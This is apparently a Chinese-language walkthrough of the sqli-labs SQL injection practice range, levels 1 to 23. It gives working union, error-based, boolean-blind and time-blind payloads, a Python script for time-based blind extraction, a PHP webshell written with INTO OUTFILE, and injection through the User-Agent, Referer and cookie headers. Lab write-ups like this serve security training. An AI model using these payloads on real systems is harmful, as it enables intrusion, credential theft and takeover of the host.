题目
步骤
打开靶机页面,这是一个练习sql注入的专项靶场。
Less-1
提示输入参数id,我们设一个id=1并执行
显示了两行数据,我们更改id的值为2-1
发现数据变化了,id的数据类型应该是字符型,我们继续测试,输入id=2’
结果报错了
再次输入id=2’ and 1=1 --+ ,页面恢复正常,说明id的数据类应该是带单引号的字符
开始使用order by猜解当前表有多少个字段
当到4的时候出现了报错,所以该表应该只有3个字段
使用右联查发现显示在前端的数据分别是第2列和第3列,接下来就是查询出数据库的名称,使用database()函数
得到数据库名称是security,根据数据库名称,查询该数据库下有哪些表,通过MariaDB下的源数据库information_schema
group_concat函数的作用是将多个数据合并为一条
得到有四张表,分别是emails,referers,uagents,users
同样的方法可以根据表名,查询出表中的字段名,最终查询到具体数据
闯关目标为获取flag,将以上四个表字段查询了一遍未发现flag,说明flag不在当前数据库,我们查询下服务器内还有哪些数据库
可以看到里面有个ctftraining数据库,flag多半在这个数据库中
查询下flag表下有哪些字段
只有flag一个字段,那我们直接查询flag的值
得到flag值。
后续关卡将不再详细讲述以上基本sql注入方法,以获取数据库名为通关目标。
Less-2
通过id=3-1,但是显示的是id=2的数据可知,这次id字段的数据类型为字符型
我们直接order by获取字段数
结果还是只有3个字段,通过database()成功获取数据库名
Less-3
这一关通过测试发现id字段是字符型,且是带单引号的,但是后面加入命令后还是报错,说明id字段不仅带单引号可能还带括号,我们继续尝试
当我们加了一个反括号后数据成功显示,说明是带了单括号,剩余步骤与前面一致
Less-4
第四关,根据测试id字段应该是带双引号及单括号的字符型,剩余步骤与前面一致
Less-5
这一关和前面的就有很大不同了,页面回显的数据都是一致的,我们只能知道sql注入的代码执行是否成功
通过测试我们知道id是带单引号的字符型,所以可以采用基于字符型的错误回显注入
报错注入的方法主要有三种
1.floor报错,比较复杂
原理是利用数据库主键不能重复,使用group by分组,产生主键key冗余而报错
id=2' and (select 1 from (select count(*),concat((SELECT schema_name FROM information_schema.schemata LIMIT 5,1),floor (rand(0)*2)) as x from information_schema.tables group by x) as a) --+
通过爆库让数据库名显示到报错信息中
2.updatexml报错
UPDATEXML (XML_document, XPath_string, new_value)
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据
作用:改变文档中符合条件的节点的值,改变XML_document中符合XPATH_string的值
当我们XPath_string语法报错时候就会报错,updatexml()报错注入和extractvalue()报错注入基本差不多。
id=2' and updatexml(1,concat(0x7e,(database()),0x7e),1) --+
3.extractvalue
extractvalue(XML_document,XPath_string)
第一个参数:XML_document是String格式,为XML文档对象的名称
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
作用:从XML_document中提取符合XPATH_string的值,当我们XPath_string语法报错时候就会报错。
concat和我前面说的的group_concat作用一样
2' and extractvalue(1,concat(0x7e,(database()),0x7e)) --+
Less-6
和关卡5类似,id是双引号字符型
Less-7
这关我们先测试id字段数据类型
经过测试,id字段为字符型且被双括号包含。
同时报错信息为静态固定,无法使用报错注入,也因为正确信息也为静态固定信息,无法使用联合查询注入。
上面提示让我们使用outfile,outfile是sql的语法,可以通过into outfile命令,将查询到的结果写入目标路径,在知道目标系统的绝对路径时可以使用,如
-1')) union select 1,2,database() into outfile"/tmp/1.txt"--+
可以打开1.txt,里面被写入了查询到的当前数据库名
同样也可以写入一句话木马,通过webshell管理工具连接来控制目标主机
-1')) union select 1,2,'<?php eval(@$_POST["123"]);?>' into outfile"/tmp/webshell.php"--+
这里需要注意的是,因为写入的文件我们只能通过网址访问,所以应该放在目标主机的http服务根目录下
本关因为是采用的公网地址,无法得知目标主机的绝对路径,所以采用布尔盲注的方法。
首先猜解数据库的名称长度
1')) and length(database())>8 --+
思路就是使用length函数返回长度,然后一个一个对比,比如>8页面显示失败的话,则长度应该是<=8
最终得出数据库名长度为8
然后就是一个一个判断数据库名8位字符分别是什么,使用ascii和substr函数
ascii函数作用是将字符转换为ascii码,因为字符无法与数字直接比较
substr函数作用是将字符串拆解为一个个字符,并根据参数返回,如sustr(‘123456’,1,1)意思是返回123456这个字符串的第一个字符开始的一个字符,也就是返回’1’
1')) and ascii(substr(database(),1,1))=115 --+
当第一个字符ascii码等于115时页面是正确回显,说明第一个字符的ascii码就是115,通过查询ascii码表得知第一个字符应该是’s’
这样依次确定,最终得到数据库名为’security’
最终表名、字段名及数据依旧通过该方法确定,比较费时间
Less-8
本关无错误回显,同样采用布尔注入,id是单引号字符类型
Less-9
这关通过测试,发现无论sql语句正确与否,返回的信息都是一样的,这样就不符合布尔注入的前提了,布尔盲注只适用于正确与错误结果不同的情况。
如果页面一直不变我们可以采用延时盲注的方法,原理就是利用sleep函数,如果结果正确的话页面延时刷新,错误的话无延时,通过判断有无延时判断结果是否正确。
通过判断发现id还是单引号字符类型,构建url进行访问
1' and if(length(database())=8,sleep(5),1) --+
发现延时了5秒,说明数据库长度确实为8
因为延时盲注比较耗时,这里使用python脚本进行自动盲注,最终输出目标长度及字符串名
# 时间盲注
import requests
import time
flag = ""
i=0
j=0
dict={
48:'0',49:'1',50:'2',51:'3',52:'4',53:'5',54:'6',55:'7',56:'8',57:'9',
65:'A',66:'B',67:'C',68:'D',69:'E',70:'F',71:'G',72:'H',73:'I',74:'J',75:'K',76:'L',77:'M',78:'N',79:'O',80:'P',81:'Q',82:'R',83:'S',84:'T',85:'U',86:'V',87:'W',88:'X',89:'Y',90:'Z',
97:'a',98:'b',99:'c',100:'d',101:'e',102:'f',103:'g',104:'h',105:'i',106:'j',107:'k',108:'l',109:'m',110:'n',111:'o',112:'p',113:'q',114:'r',115:'s',116:'t',117:'u',118:'v',119:'w',120:'x',121:'y',122:'z'
}
num={97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122,48,49,50,51,52,53,54,55,56,57,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90}
namenum=0
while i < 20:
ss = time.time()
url = "http://eb2f50cb-27d3-4b02-924c-e57c1f1cd54b.node5.buuoj.cn/Less-7?id=2')) and if(length(database())=" + str(i) + ",sleep(8),0) --+"
requests.get(url)
if time.time()-ss >= 8:
namenum = i
break
else:
i+=1
while j < namenum:
for i in num:
ss = time.time()
url = "http://eb2f50cb-27d3-4b02-924c-e57c1f1cd54b.node5.buuoj.cn/Less-7?id=2')) and if(ascii(substr(database()," + str(j+1) + ",1))=" + str(i) + ",sleep(8),0) --+"
requests.get(url)
if time.time()-ss >= 8:
flag += dict[i]
j += 1
if j >= namenum:
print("长度为: " + str(namenum) + "\n名字为: " + flag)
break
最终输出
修改url参数,同样猜解表名、字段名及最终数据
Less-10
本关与第九关一样,只不过id是双引号字符型
Less-11
这一关发现页面变化了,是一个登录页面,请求类型也从GET变成了POST类型
我们尝试在输入框中注入
在用户名栏输入1’,发现出现报错信息
再次输入1’ and 1=1#(这里使用–+注释不行,得使用#)
发现报错信息消失,说明username字段为单引号字符,我们可以构建一个恒成立表达式
1' or 1=1#
页面出现成功回显信息,后续就和第一关一样使用联合注入即可
Less-12
这关和第11关一样,username为双引号带单括号字符
Less-13
这关和第11关一样,username为单引号带单括号字符
Less-14
这关和第11关一样,username为双引号字符
Less-15
这关不显示报错信息,但是成功信息还有,采用布尔盲注,username为单引号字符
1' or length(database())=8#
1' or ascii(substr(database()),1,1)=115#
Less-16
本关和15关一样,username为双引号单括号字符
Less-17
这关通过标题看出是一个重置密码的页面,且在用户名栏无论输入什么提示都是一样的。
且重置密码大概率使用的是update语句,代表联合注入,延时盲注,布尔盲注都失效了,可以尝试下报错注入。
这里根据之前关卡从users表中查到的数据,输入正确用户名后,在密码框中构建url
1' and (extractvalue(1,concat(0x5c,database(),0x5c)))#
得到数据库名
同理往下依次查出表名,字段名,字段内容
1' and (extractvalue(1,concat(0x5c,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x5c)))# 爆表名
1' and (extractvalue(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x5c)))# 爆字段名
1' and (extractvalue(1,concat(0x5c,(select group_concat(username,'~',password) from users),0x5c)))# 爆字段内容
Less-18
查看这关源码后(代码审计也算安全!)发现对用户名和密码都进行了检查,但是当我们输入正确的用户名及密码后,会将我们当前的User-Agent、IP、用户名插入到数据库中,且页面会显示User-Agent的内容
我们使用burp suite抓包,更改User-Agent的内容
我们在后面加入一个单引号,引发了报错,由此可以知道插入语句是将ua字段内容和ip地址以及账户名作为字符串进行插入且外面有括号。还要注意该插入语句需要三个参数,所以我们在构造时候也需要有三个参数。因为#号后面都被注释了
报错信息没了,接下来我们插入报错注入
1',2,extractvalue(1,concat(0x7e,database(),0x7e))) #
爆出数据库名
Less-19
这关输入正确用户名密码后,页面显示的不再是User-Agent,而是变成了Refer,我们通过抓包更改Refer,发现和18关差不多,只不过18关有3个参数,而19关只有两个参数
同样的我们插入报错注入
1',extractvalue(1,concat(0x7e,database(),0x7e))) #
成功爆出数据库名
Less-20
这关在BUU上可能有问题,也可能是我的浏览器的问题,在我的浏览器上无法存储该站点的cookie
该关卡和前面两关一样,只不过插入的是cookie字段
我们同样构建报错注入
cookie: uname=admin' and extractvalue(1,concat(0x5c,database(),0x5c))#
我这里因为上述原因,无法演示
Less-21
这关和20关一样,但是cookie的值进行了base64加密
构建好报错注入url,并对url进行base64加密后修改数据包即可
cookie: uname=admin') and extractvalue(1,concat(0x5c,database(),0x5c))#
比20关多了个括号
Less-22
和21关一样,但是是双引号,而且没括号
cookie: uname=admin" and extractvalue(1,concat(0x5c,database(),0x5c))#
Less-23
该关卡回到GET请求,输入单引号后发现报错,但是后面加入注释后依然是报错,盲猜注释符被过滤了
重新构造单引号闭合
1' and '1'='1
这样便可以继续使用联合注入
先查找下当前页面有多少列
-1' union select 1,2,3 and '1'='1
得到该页面共三列数据,且显示第一列和第二列
构造联合注入获取数据
-1' union select 1,database(),3 and '1'='1
成功获得数据库名
Less-24
这关开始出现了太多bug,所以该篇闯关教程结束,对sqli-labs感兴趣的小伙伴可以安装原生的靶场自己攻克